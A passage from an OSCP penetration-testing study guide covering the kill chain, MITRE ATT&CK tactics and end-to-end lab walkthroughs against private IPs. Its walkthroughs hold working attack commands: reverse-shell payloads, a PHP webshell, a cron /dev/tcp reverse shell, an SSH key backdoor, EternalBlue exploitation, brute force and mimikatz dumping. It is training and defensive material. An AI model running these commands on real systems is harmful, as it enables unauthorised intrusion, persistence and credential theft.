In the OSCP exam, “Actions on Objectives” translates to:
- Capture
user.txt— Prove user-level access - Capture
root.txt/proof.txt— Prove admin/root access - Document the exploitation path — For the report
# Linux: Capture flags
cat /home/*/user.txt
cat /root/root.txt
# Windows: Capture flags
type C:\Users\*\user.txt
type C:\Users\Administrator\Desktop\root.txt
# Create proof screenshot
# Take screenshot of whoami + flag contents
Detection Methods (Blue Team)
| Detection Method | What It Catches | Tool/Technology |
|---|---|---|
| DLP (Data Loss Prevention) | Sensitive data leaving network | Symantec DLP, McAfee DLP |
| Network monitoring | Large outbound transfers | NetFlow, Zeek |
| File access monitoring | Access to sensitive files | EDR, file auditing |
| Archive detection | Compression of sensitive data | EDR behavioral alerts |
| Cloud API monitoring | Unusual cloud API usage | CloudTrail, Azure Monitor |
2. MITRE ATT&CK Framework
Framework Architecture
MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.
┌──────────────────────────────────────────────────────────────┐
│ MITRE ATT&CK MATRIX │
│ │
│ ┌──────────┬──────────┬──────────┬──────────┬──────────┐ │
│ │ TACTIC │ TACTIC │ TACTIC │ TACTIC │ TACTIC │ │
│ │ (Why) │ (Why) │ (Why) │ (Why) │ (Why) │ │
│ ├──────────┼──────────┼──────────┼──────────┼──────────┤ │
│ │Technique │Technique │Technique │Technique │Technique │ │
│ │(How) │(How) │(How) │(How) │(How) │ │
│ │T1xxx │T1xxx │T1xxx │T1xxx │T1xxx │ │
│ ├──────────┼──────────┼──────────┼──────────┼──────────┤ │
│ │Sub-tech │Sub-tech │Sub-tech │Sub-tech │Sub-tech │ │
│ │T1xxx.0xx │T1xxx.0xx │T1xxx.0xx │T1xxx.0xx │T1xxx.0xx │ │
│ └──────────┴──────────┴──────────┴──────────┴──────────┘ │
│ │
│ Matrix Platforms: Enterprise | PRE | Mobile | ICS │
└──────────────────────────────────────────────────────────────┘
All 14 Tactics with Key Techniques
Tactic 1: Initial Access (TA0001)
Goal: Get into the target environment.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1566 | Phishing | Deceptive messages to compromise users | Medium |
| T1566.001 | Spearphishing Attachment | Malicious file attachment | Medium |
| T1566.002 | Spearphishing Link | Malicious URL in email | Low |
| T1190 | Exploit Public-Facing Application | Exploit internet-facing service | Very High |
| T1078 | Valid Accounts | Use legitimate credentials | High |
| T1133 | External Remote Services | RDP, SSH, VPN access | High |
| T1195 | Supply Chain Compromise | Compromise software supply chain | Low |
| T1199 | Trusted Relationship | Abuse trusted relationships | Low |
Tactic 2: Execution (TA0002)
Goal: Run malicious code on the target.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | Run commands via CLI/PowerShell/Bash | Very High |
| T1059.001 | PowerShell | Execute PowerShell commands | High |
| T1059.004 | Unix Shell | Execute bash/sh commands | Very High |
| T1204 | User Execution | Trick user into running malware | Medium |
| T1047 | Windows Management Instrumentation | Execute via WMI | Medium |
| T1053 | Scheduled Job/Script | Execute via scheduled task | Medium |
| T1216 | Signed Script | Abuse signed scripts | Low |
Tactic 3: Persistence (TA0003)
Goal: Maintain access across restarts and reboots.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1547 | Boot or Logon Autostart Execution | Registry run keys, startup folder | High |
| T1547.001 | Registry Run Keys / Startup Folder | Windows auto-start | High |
| T1053 | Scheduled Task/Job | Cron jobs, scheduled tasks | High |
| T1098 | Account Manipulation | Create backdoor accounts | High |
| T1098.004 | SSH Authorized Keys | Add SSH public key | High |
| T1136 | Create Account | Create new user account | High |
| T1543 | Create or Modify System Process | Install service | High |
| T1546 | Event Triggered Execution | DLL hijacking, COM hijacking | Medium |
Tactic 4: Privilege Escalation (TA0004)
Goal: Gain higher-level permissions.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1068 | Exploitation for Privilege Escalation | Kernel/exploit-based privesc | Very High |
| T1548 | Abuse Elevation Control Mechanism | UAC bypass, Setuid | High |
| T1548.002 | Bypass User Account Control | UAC bypass techniques | Medium |
| T1134 | Access Token Manipulation | Token impersonation | High |
| T1134.003 | Make and Impersonate Token | Impersonate token privesc | High |
| T1078.001 | Default Accounts | Default credentials | High |
| T1078.003 | Local Accounts | Local admin accounts | High |
| T1575 | Implant Instrumentation | Install monitoring tools | Low |
Tactic 5: Defense Evasion (TA0005)
Goal: Avoid detection by security controls.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1027 | Obfuscated Files or Information | Encode/encrypt payloads | Medium |
| T1027.002 | Software Packing | Pack executables (UPX) | Medium |
| T1036 | Masquerading | Impersonate legitimate processes | Medium |
| T1070 | Indicator Removal | Clear logs, remove artifacts | Medium |
| T1070.001 | Clear Windows Event Logs | Wevtutil clear-log | Medium |
| T1070.002 | Clear Linux or Mac System Logs | Clear bash history, auth.log | Medium |
| T1222 | File and Directory Permissions | Modify permissions to hide | Low |
| T1620 | Reflective Code Loading | Load code without disk write | Low |
Tactic 6: Credential Access (TA0006)
Goal: Obtain authentication credentials.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1003 | OS Credential Dumping | LSASS, SAM, /etc/shadow | Very High |
| T1003.001 | LSASS Memory | Dump LSASS for credentials | High |
| T1003.002 | Security Account Manager | Dump SAM database | High |
| T1110 | Brute Force | Password guessing attacks | High |
| T1110.001 | Password Guessing | Try common passwords | High |
| T1110.003 | Password Spraying | Try one password against many users | High |
| T1556 | Modify Authentication Process | Change auth mechanisms | Low |
| T1552 | Unsecured Credentials | Find creds in files/registry | High |
| T1552.001 | Credentials In Files | Find passwords in config files | High |
| T1552.002 | Credentials in Registry | Find passwords in Windows registry | High |
Tactic 7: Discovery (TA0007)
Goal: Enumerate the target environment.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1087 | Account Discovery | Enumerate user accounts | Very High |
| T1087.001 | Local Account | Enumerate local users | Very High |
| T1082 | System Information Discovery | Get OS, architecture info | Very High |
| T1046 | Network Service Discovery | Scan for network services | Very High |
| T1120 | Peripheral Device Discovery | Enumerate connected devices | Low |
| T1057 | Process Discovery | Enumerate running processes | High |
| T1012 | Query Registry | Enumerate Windows registry | High |
| T1124 | System Time Discovery | Get system time/timezone | Low |
| T1083 | File and Directory Discovery | Enumerate files and folders | High |
| T1614 | System Location Discovery | Get system language/location | Low |
Tactic 8: Lateral Movement (TA0008)
Goal: Move from one system to another.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1021 | Remote Services | Move via RDP, SMB, SSH | Very High |
| T1021.001 | Remote Desktop Protocol | RDP lateral movement | High |
| T1021.004 | SSH | SSH lateral movement | Very High |
| T1570 | Lateral Tool Transfer | Transfer tools to new host | High |
| T1080 | Taint Shared Content | Modify shared resources | Low |
| T1563 | Remote Service Hijacking | Hijack remote service | Low |
| T1563.002 | Remote Services: SMB/Windows Admin | psexec, smbexec | High |
Tactic 9: Collection (TA0009)
Goal: Gather data of interest.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1005 | Data from Local System | Collect data from local files | High |
| T1056 | Input Capture | Keylogging, screen capture | Low |
| T1115 | Screen Capture | Take screenshots | Low |
| T1530 | Data from Cloud Storage | Collect from cloud services | Low |
| T1557 | Adversary-in-the-Middle | Intercept credentials | Medium |
Tactic 10: Command and Control (TA0011)
Goal: Communicate with compromised systems.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1071 | Application Layer Protocol | C2 over HTTP/S, DNS, SSH | High |
| T1071.001 | Web Protocols | C2 over HTTP/HTTPS | High |
| T1090 | Proxy | Route C2 through proxy | Medium |
| T1090.002 | External Proxy | Route through external proxy | Medium |
| T1095 | Non-Application Layer Protocol | Custom protocol C2 | Medium |
| T1102 | Web Service | Use web service for C2 | Low |
| T1573 | Encrypted Channel | Encrypt C2 communications | Medium |
| T1008 | Fallback Channel | Backup C2 channel | Low |
Tactic 11: Exfiltration (TA0010)
Goal: Steal data from the target.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1041 | Exfiltration Over C2 Channel | Send data via C2 | High |
| T1048 | Exfiltration Over Alternative Protocol | Use alt protocol (DNS, ICMP) | Low |
| T1567 | Exfiltration Over Web Service | Upload to cloud/web service | Medium |
| T1029 | Scheduled Transfer | Time-based exfiltration | Low |
| T1030 | Data Transfer Size Limits | Chunk data to avoid detection | Low |
| T1560 | Archive Collected Data | Compress before exfiltration | Medium |
Tactic 12: Impact (TA0040)
Goal: Disrupt operations or destroy data.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1486 | Data Encrypted for Impact | Ransomware encryption | Low |
| T1489 | Service Stop | Stop critical services | Low |
| T1490 | Inhibit System Recovery | Delete backups, shadow copies | Low |
| T1491 | Defacement | Modify web content | Low |
| T1499 | Endpoint Denial of Service | Crash/overload endpoint | Low |
Tactic 13: Reconnaissance (TA0043)
Goal: Gather target information pre-attack.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1589 | Gather Victim Identity Information | Research target personnel | Medium |
| T1590 | Gather Victim Network Information | Research target network | Medium |
| T1591 | Gather Victim Host Information | Research target systems | Medium |
| T1592 | Gather Victim Org Information | Research target organization | Medium |
| T1593 | Search Open Websites/Domains | Search public websites | Medium |
| T1595 | Active Scanning | Port scanning, vulnerability scanning | Very High |
| T1595.001 | Scanning IP Blocks | Scan IP ranges | High |
| T1596 | Search Open Technical Databases | Search Shodan, Censys | Medium |
| T1597 | Search Closed Sources | Search non-public sources | Low |
| T1598 | Phishing for Information | Gather info via phishing | Low |
Tactic 14: Resource Development (TA0042)
Goal: Set up infrastructure for the attack.
| Technique ID | Technique Name | Description | OSCP Relevance |
|---|---|---|---|
| T1583 | Acquire Infrastructure | Purchase domains, servers | Low |
| T1584 | Compromise Infrastructure | Compromise third-party systems | Low |
| T1586 | Compromise Accounts | Compromise social media/email | Low |
| T1587 | Develop Capabilities | Develop exploits, tools | Low |
| T1588 | Obtain Capabilities | Acquire tools/exploits | Low |
ATT&CK vs Kill Chain
| Aspect | Cyber Kill Chain | MITRE ATT&CK |
|---|---|---|
| Origin | Lockheed Martin (2011) | MITRE Corporation (2013) |
| Structure | 7 linear phases | 14 tactics, 200+ techniques |
| Perspective | Adversary-centric, defender-focused | Adversary behavior knowledge base |
| Granularity | High-level phases | Detailed techniques and sub-techniques |
| Use Case | Defense planning, disruption points | Detection engineering, threat hunting, red team planning |
| Linearity | Linear (must follow sequence) | Non-linear (techniques can be used in any order) |
| Real-World Mapping | Generic phases | Specific real-world observations |
| Platform Coverage | Generic | Enterprise, PRE, Mobile, ICS |
| Update Frequency | Static | Continuously updated |
| Best For | Understanding attack flow, defense layers | Detailed technique mapping, detection rules |
Using ATT&CK for Red Team Planning
Coverage Mapping:
Step 1: Define Scope and Objectives
├── What systems are in scope?
├── What are the objectives? (domain admin, data exfil, etc.)
└── What constraints exist? (no AV bypass, specific techniques only)
Step 2: Select Relevant Tactics
├── Initial Access: How will you get in?
├── Execution: How will you run code?
├── Persistence: How will you maintain access?
├── Privilege Escalation: How will you escalate?
├── Discovery: What will you enumerate?
├── Lateral Movement: How will you move?
└── Collection/Exfiltration: What data will you collect?
Step 3: Map Techniques to Tools
├── T1190 (Exploit Public-Facing App) → Metasploit, custom exploits
├── T1059.001 (PowerShell) → Invoke-Expression, encoded commands
├── T1003.001 (LSASS) → mimikatz, procdump
├── T1021.001 (RDP) → rdesktop, xfreerdp
└── T1041 (Exfil Over C2) → Meterpreter download, scp
Step 4: Build Detection Coverage
├── What logs will each technique generate?
├── What SIEM rules should trigger?
└── What EDR detections should fire?
Step 5: Execute and Document
├── Execute techniques in order
├── Document each technique used
└── Map results back to ATT&CK matrix
ATT&CK Navigator Layers:
{
"name": "OSCP Exam Coverage",
"techniques": [
{"techniqueID": "T1190", "tactic": "initial-access", "color": "#00ff00", "comment": "Web app exploitation"},
{"techniqueID": "T1059", "tactic": "execution", "color": "#00ff00", "comment": "Command execution"},
{"techniqueID": "T1068", "tactic": "privilege-escalation", "color": "#00ff00", "comment": "Local privesc"},
{"techniqueID": "T1021", "tactic": "lateral-movement", "color": "#00ff00", "comment": "SSH/RDP/SMB"},
{"techniqueID": "T1003", "tactic": "credential-access", "color": "#ffff00", "comment": "Credential dumping"},
{"techniqueID": "T1046", "tactic": "discovery", "color": "#00ff00", "comment": "Network scanning"}
]
}
3. OSCP Exam Mapping
Kill Chain Phases in the OSCP Exam
The OSCP exam compresses the full kill chain into a practical engagement. Here’s how each phase maps:
| Kill Chain Phase | OSCP Exam Activity | Time Budget | Criticality |
|---|---|---|---|
| 1. Reconnaissance | Nmap scanning, service enumeration | 1-2 hours per machine | Critical |
| 2. Weaponization | Payload generation (msfvenom) | Minutes per machine | High |
| 3. Delivery | Web upload, exploit delivery | Minutes per machine | High |
| 4. Exploitation | Initial foothold via exploit | 30 min - 2 hours per machine | Critical |
| 5. Installation | Shell stabilization, persistence | Minutes per machine | Medium |
| 6. Command & Control | Meterpreter, SSH tunnels, chisel | Ongoing | Critical |
| 7. Actions on Objectives | Capture user.txt, root.txt | Minutes per machine | Critical |
Exam Phase Breakdown
Phase 1: Reconnaissance (Exam Hours 0-2)
# Initial broad scan of all targets
for ip in 10.10.10.{1..254}; do
nmap -sV -T4 --top-ports 100 -oA /enum/$ip $ip &
done
wait
# Deep scan of interesting targets
nmap -sV -sC -p- -T4 -oA /enum/deep_10.10.10.5 10.10.10.5
# Web enumeration
gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -o /enum/gobuster_10.10.10.5.txt
# Note everything in your enumeration notes
# This is CRITICAL for the exam
Phase 2-4: Initial Access (Exam Hours 2-8)
# Research vulnerabilities found in recon
searchsploit Apache 2.4.49
searchsploit OpenVPN 2.4.7
# Test exploits
msfconsole
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.5
set LHOST 10.10.14.5
exploit
# Or manual exploitation
python3 exploit.py 10.10.10.5 80
Phase 5-6: Post-Exploitation (Exam Hours 8-16)
# Shell stabilization
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Local enumeration
# Linux:
uname -a
id
cat /etc/passwd
sudo -l
find / -perm -4000 -type f 2>/dev/null
linpeas.sh
# Windows:
whoami /all
systeminfo
net user
net group "Domain Admins" /domain
winPEASx64.exe
# Privilege escalation
# Linux: Exploit SUID, sudo misconfig, kernel exploit
# Windows: Exploit service, token impersonation, UAC bypass
# Lateral movement
ssh user@10.10.10.10
xfreerdp /v:10.10.10.10 /u:user /p:password
Phase 7: Objectives (Exam Hours 16-20)
# Capture flags
cat /home/user/user.txt
cat /root/root.txt
# Document everything for the report
# Take screenshots of each step
Lab Machine to ATT&CK Technique Mapping
| Machine Type | Primary Techniques | Secondary Techniques |
|---|---|---|
| Web App Machines | T1190, T1059.004, T1068 | T1087, T1083, T1552 |
| Windows Service Machines | T1190, T1068, T1078 | T1003, T1021, T1059.001 |
| Linux Privilege Escalation | T1068, T1078.003, T1548 | T1087, T1057, T1083 |
| Active Directory Machines | T1078, T1003, T1021 | T1558, T1649, T1087 |
| Database Machines | T1190, T1059, T1005 | T1078, T1068 |
| Network Device Machines | T1190, T1078.001 | T1068, T1059 |
4. Detailed Phase Walkthroughs
Complete Kill Chain Walkthrough: Web Application to Domain Admin
This walkthrough demonstrates a complete attack following the kill chain against a hypothetical target.
Phase 1: Reconnaissance
# Step 1.1: Initial network discovery
nmap -sV -sC -T4 -p- -oA recon/initial 10.10.10.50
# Output analysis:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2p1
# 80/tcp open http Apache httpd 2.4.49
# 443/tcp open ssl/http Apache httpd 2.4.49
# 3306/tcp open mysql MySQL 8.0.23
# Step 1.2: Web application enumeration
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,css -o recon/gobuster_80.txt
# Found: /admin, /uploads, /backup, /api
# Step 1.3: Technology fingerprinting
whatweb http://10.10.10.50
# Output: Apache 2.4.49, PHP 7.4.3, WordPress 5.7
# Step 1.4: Vulnerability research
searchsploit Apache 2.4.49
# Found: CVE-2021-41773 (Path traversal and RCE)
searchsploit WordPress 5.7
# Found: Multiple plugin vulnerabilities
# Step 1.5: Check for default credentials
# Try common admin credentials on /admin
# admin/admin, admin/password, admin/admin123
Phase 2: Weaponization
# Step 2.1: Generate reverse shell payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw > shell.php
# Step 2.2: Generate Linux payload for post-exploitation
msfvenom -p linux/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf > shell.elf
# Step 2.3: Prepare web shell (backup option)
echo '<?php system($_GET["cmd"]); ?>' > simple_shell.php
# Step 2.4: Set up Metasploit listener
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4443
exploit -j -z
Phase 3: Delivery
# Step 3.1: Upload via file upload vulnerability
# Found upload functionality at /uploads/
curl -X POST http://10.10.10.50/uploads/ \
-F "file=@shell.php" \
-H "Content-Type: multipart/form-data"
# Step 3.2: Alternative — exploit CVE-2021-41773
# Path traversal to write file
curl -X GET "http://10.10.10.50/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
# Step 3.3: Alternative — WordPress plugin upload
# Upload malicious plugin through admin panel
Phase 4: Exploitation
# Step 4.1: Trigger the web shell
curl http://10.10.10.50/uploads/shell.php
# Meterpreter session opens in Metasploit
# [*] Meterpreter session 1 opened (10.10.14.5:4443 -> 10.10.10.50:45678)
# Step 4.2: Upgrade to full Meterpreter
sessions -i 1
# Step 4.3: Get basic system info
sysinfo
# Computer: target
# OS: Ubuntu 20.04 (Linux 5.4.0-42-generic)
# Architecture: x86_64
# Meterpreter: x86_64/linux
# Step 4.4: Get interactive shell
shell
whoami
# www-data
Phase 5: Installation
# Step 5.1: Upload and run local enumeration script
upload /opt/tools/linpeas.sh /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
# Step 5.2: Establish persistence (for lab practice)
# Add SSH key
echo "ssh-rsa AAAAB3... attacker@kali" >> /home/user/.ssh/authorized_keys
# Create cron job for reverse shell
echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/4445 0>&1" | crontab -
Phase 6: Command & Control
# Step 6.1: Use Meterpreter for C2
# Already established via reverse_tcp
# Step 6.2: Set up SSH tunnel for stable access
# From compromised host:
ssh -R 9001:localhost:22 user@10.10.14.5
# Step 6.3: Use chisel for reverse tunnel (alternative)
# On compromised host:
./chisel client 10.10.14.5:8080 9090:localhost:22
# On attacker:
./chisel server --port 8080 --reverse
Phase 7: Actions on Objectives
# Step 7.1: Local privilege escalation
# Found SUID binary: /usr/local/bin/custom_app
# Research exploit for the binary version
# Or found sudo misconfiguration:
sudo -l
# (ALL) NOPASSWD: /usr/bin/vim
# Escalate:
sudo vim -c ':!/bin/sh'
# Step 7.2: Capture root flag
cat /root/root.txt
# Step 7.3: Lateral movement to next target
# Found credentials in /home/user/.bash_history
# ssh admin@10.10.10.51
# Step 7.4: Repeat for all targets
5. Practical Examples
Example 1: Complete Web App Kill Chain
# === RECONNAISSANCE ===
# Target: 10.10.10.100
nmap -sV -sC -p- -T4 10.10.10.100
# Found: 22/ssh, 80/http (Apache 2.4.38, PHP 7.3.5)
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirb/common.txt -x php
# Found: /login.php, /admin/, /uploads/
# === WEAPONIZATION ===
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw > /tmp/webshell.php
# === DELIVERY ===
# Upload via /uploads/ directory
curl -F "file=@/tmp/webshell.php" http://10.10.10.100/uploads/upload.php
# === EXPLOITATION ===
# Trigger shell
curl http://10.10.10.100/uploads/webshell.php
# Meterpreter session opened
# === INSTALLATION ===
# Upload linpeas for enumeration
upload /opt/tools/linpeas.sh /tmp/
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh > /tmp/linpeas_output.txt 2>&1
download /tmp/linpeas_output.txt
# === C2 ===
# Meterpreter session active
# Upload second-stage payload for stability
upload /tmp/shell.elf /tmp/update
chmod +x /tmp/update
# === ACTIONS ON OBJECTIVES ===
# Found sudo misconfiguration
sudo -l
# User www-data may run: (ALL) NOPASSWD: /usr/bin/find
# Escalate:
sudo find . -exec /bin/sh \; -quit
# Capture flags:
cat /home/user/user.txt
cat /root/root.txt
Example 2: Windows Service Exploitation Kill Chain
# === RECONNAISSANCE ===
nmap -sV -sC -p- -T4 10.10.10.200
# Found: 22/ssh, 80/http, 445/smb, 3389/rdp
enum4linux -a 10.10.10.200
# Found: SMB shares, null session possible
# === WEAPONIZATION ===
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe > payload.exe
# === DELIVERY + EXPLOITATION ===
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.200
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
# === INSTALLATION ===
# Meterpreter session as SYSTEM
# Upload winPEAS
upload /opt/tools/winPEASx64.exe C:\Users\Public\winPEAS.exe
execute -f C:\Users\Public\winPEAS.exe -a "-quiet"
# === C2 ===
# Meterpreter active, migrate to stable process
migrate 4532 # Migrate to explorer.exe or similar
# === ACTIONS ON OBJECTIVES ===
# Dump credentials
load mimikatz
mimikatz_command -f samdump::hashes
# Capture flags
cat C:\Users\Administrator\Desktop\root.txt
Example 3: SSH Brute Force + Privilege Escalation
# === RECONNAISSANCE ===
nmap -sV -p 22 10.10.10.150
# Found: OpenSSH 7.4 (CentOS 7)
# === WEAPONIZATION ===
# Prepare wordlist
# Use default user list + custom words
cp /usr/share/wordlists/metasploit/unix_users.txt users.txt
cp /usr/share/wordlists/rockyou.txt passwords.txt
# === DELIVERY + EXPLOITATION ===
# Brute force SSH
hydra -L users.txt -P passwords.txt -t 16 ssh://10.10.10.150
# Found: jsmith:P@ssw0rd123
# Connect
ssh jsmith@10.10.10.150
# === INSTALLATION ===
# Upload enumeration tools
scp /opt/tools/linpeas.sh jsmith@10.10.10.150:/tmp/
ssh jsmith@10.10.10.150 "chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh > /tmp/peas.txt"
scp jsmith@10.10.10.150:/tmp/peas.txt .
# === C2 ===
# Set up reverse SSH tunnel
ssh -R 9001:localhost:22 jsmith@10.10.10.150
# === ACTIONS ON OBJECTIVES ===
# Check sudo permissions
sudo -l
# Found: (ALL) NOPASSWD: /usr/bin/python3
# Escalate:
sudo python3 -c 'import os; os.system("/bin/sh")'
# Capture flags
cat /home/jsmith/user.txt
cat /root/root.txt
6. Lab Exercises
Exercise 1: End-to-End Kill Chain Simulation
Objective: Execute a complete kill chain against a vulnerable VM (e.g., Metasploitable2, DVWA, or an OSCP-like machine).
Prerequisites:
- Kali Linux attacker machine
- Vulnerable target VM (Metasploitable2 recommended)
- Both machines on the same network
Steps:
# PHASE 1: RECONNAISSANCE
echo "=== Phase 1: Reconnaissance ==="
# 1.1 Network discovery
nmap -sV -sC -T4 -p- -oA lab/phase1_recon <TARGET_IP>
# 1.2 Web enumeration
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -x php,asp,jsp,txt -o lab/phase1_web
# 1.3 Service-specific enumeration
enum4linux -a <TARGET_IP>
whatweb http://<TARGET_IP>
# 1.4 Vulnerability research
searchsploit <SERVICE> <VERSION>
# PHASE 2: WEAPONIZATION
echo "=== Phase 2: Weaponization ==="
# 2.1 Generate appropriate payload
msfvenom -p <PAYLOAD> LHOST=<ATTACKER_IP> LPORT=4443 -f <FORMAT> -o lab/payload.<EXT>
# PHASE 3: DELIVERY
echo "=== Phase 3: Delivery ==="
# 3.1 Deliver payload (method depends on vulnerability)
# Web upload, email, direct exploit, etc.
# PHASE 4: EXPLOITATION
echo "=== Phase 4: Exploitation ==="
# 4.1 Set up listener
msfconsole
use exploit/multi/handler
set PAYLOAD <PAYLOAD>
set LHOST <ATTACKER_IP>
set LPORT 4443
exploit -j -z
# 4.2 Trigger exploitation
# Execute the exploit against the target
# PHASE 5: INSTALLATION
echo "=== Phase 5: Installation ==="
# 5.1 Stabilize shell
# Upgrade to TTY, upload enumeration tools
# 5.2 Run local enumeration
# Linux: linpeas.sh
# Windows: winPEASx64.exe
# PHASE 6: COMMAND & CONTROL
echo "=== Phase 6: Command & Control ==="
# 6.1 Establish stable C2
# Meterpreter, SSH tunnel, or chisel
# PHASE 7: ACTIONS ON OBJECTIVES
echo "=== Phase 7: Actions on Objectives ==="
# 7.1 Privilege escalation
# Research and exploit local privesc vector
# 7.2 Capture objectives
# Read user.txt and root.txt
# 7.3 Document everything
# Take screenshots, save command outputs
Exercise 2: ATT&CK Technique Mapping
Objective: Map your lab exercises to MITRE ATT&CK techniques.
Steps:
- Perform Exercise 1 against a target
- For each action taken, identify the corresponding ATT&CK technique
- Create a mapping table:
| Action Taken | ATT&CK Tactic | ATT&CK Technique | Technique ID |
|---|---|---|---|
| Nmap scan | Reconnaissance | Active Scanning | T1595 |
| Gobuster dir | Discovery | Network Service Discovery | T1046 |
| msfvenom payload | Resource Development | Obtain Capabilities | T1588 |
| Web shell upload | Initial Access | Exploit Public-Facing App | T1190 |
| Meterpreter shell | Execution | Command and Scripting Interpreter | T1059 |
| linpeas.sh | Discovery | System Information Discovery | T1082 |
| sudo privesc | Privilege Escalation | Exploitation for Priv Esc | T1068 |
| cat root.txt | Collection | Data from Local System | T1005 |
Exercise 3: Defense Simulation
Objective: Set up detection for each kill chain phase.
Steps:
- Install and configure Snort/Suricata IDS
- Set up OSSEC HIDS on the target
- Perform Exercise 1 while monitoring detections
- Document which phases were detected and which were not
- Tune detection rules to improve coverage
7. Key Tools Reference
Comprehensive Tool Table by Kill Chain Phase
| Phase | Tool | Purpose | Command Example | Platform |
|---|---|---|---|---|
| Recon | nmap |
Port scanning, service detection | nmap -sV -sC -p- <IP> |
All |
| Recon | masscan |
Fast port scanning | masscan -p1-65535 <IP>/24 |
Linux |
| Recon | gobuster |
Directory/file enumeration | gobuster dir -u <URL> -w <wordlist> |
All |
| Recon | ffuf |
Fuzzing, enumeration | ffuf -u <URL>/FUZZ -w <wordlist> |
All |
| Recon | theHarvester |
OSINT gathering | theHarvester -d <domain> -b all |
Linux |
| Recon | subfinder |
Subdomain enumeration | subfinder -d <domain> |
All |
| Recon | amass |
Subdomain discovery | amass enum -d <domain> |
All |
| Recon | enum4linux |
SMB enumeration | enum4linux -a <IP> |
Linux |
| Recon | whatweb |
Web tech fingerprinting | whatweb <URL> |
Linux |
| Recon | nikto |
Web vulnerability scanner | nikto -h <URL> |
Linux |
| Recon | shodan |
Internet device search | shodan search <query> |
All |
| Recon | censys |
Certificate/device search | censys search <query> |
All |
| Weapon | msfvenom |
Payload generation | msfvenom -p <payload> -f <fmt> |
All |
| Weapon | Veil-Evasion |
AV evasion payloads | veil-evasion |
Linux |
| Weapon | Donut |
.NET to shellcode | donut -f 1 -o output.bin assembly.dll |
All |
| Weapon | UPX |
Binary packing | upx --best payload.exe |
All |
| Delivery | SET |
Social engineering toolkit | setoolkit |
Linux |
| Delivery | gophish |
Phishing framework | ./gophish |
All |
| Delivery | curl |
HTTP delivery | curl -F "file=@payload" <URL> |
All |
| Delivery | wget |
HTTP delivery | wget <URL>/payload |
All |
| Delivery | python3 |
HTTP server | python3 -m http.server 8080 |
All |
| Exploit | metasploit |
Exploitation framework | msfconsole |
All |
| Exploit | searchsploit |
Exploit database search | searchsploit <service> |
Linux |
| Exploit | sqlmap |
SQL injection | sqlmap -u <URL> --dbs |
Linux |
| Exploit | burpsuite |
Web app testing | GUI application | All |
| Exploit | hydra |
Brute force | hydra -l user -P pass.txt ssh://<IP> |
Linux |
| Exploit | john |
Password cracking | john --wordlist=rockyou.txt hash.txt |
Linux |
| Exploit | hashcat |
GPU password cracking | hashcat -m 0 -a 0 hash.txt pass.txt |
All |
| Install | ssh |
SSH access | ssh user@<IP> |
All |
| Install | scp |
File transfer | scp file user@<IP>:path |
All |
| Install | cron |
Scheduled persistence | crontab -e |
Linux |
| Install | schtasks |
Windows scheduled tasks | schtasks /create ... |
Windows |
| Install | sc |
Windows service management | sc create <name> ... |
Windows |
| C2 | metasploit |
C2 framework | use exploit/multi/handler |
All |
| C2 | Sliver |
C2 framework | sliver-server |
All |
| C2 | chisel |
Reverse tunneling | chisel client <IP>:8080 ... |
All |
| C2 | ssh |
SSH tunneling | ssh -L/-R/-D ... |
All |
| C2 | iodine |
DNS tunneling | iodine -d -P pass tun0 |
All |
| C2 | dnscat2 |
DNS C2 | dnscat2 server.rb |
All |
| Actions | mimikatz |
Credential dumping | mimikatz # sekurlsa::logonpasswords |
Windows |
| Actions | linpeas |
Linux enumeration | ./linpeas.sh |
Linux |
| Actions | winPEAS |
Windows enumeration | winPEASx64.exe |
Windows |
| Actions | netcat |
Data transfer | nc -lvnp 4444 > data.txt |
All |
| Actions | tar |
Data archiving | tar czf data.tar.gz /path |
Linux |
| Actions | 7z |
Data archiving | 7z a data.7z /path |
All |
Tool Categories Quick Reference
RECONNAISSANCE TOOLS:
├── Network Scanning: nmap, masscan, rustscan
├── Web Enumeration: gobuster, ffuf, dirb, dirbuster
├── OSINT: theHarvester, Maltego, subfinder, amass
├── Service Enum: enum4linux, nmap scripts
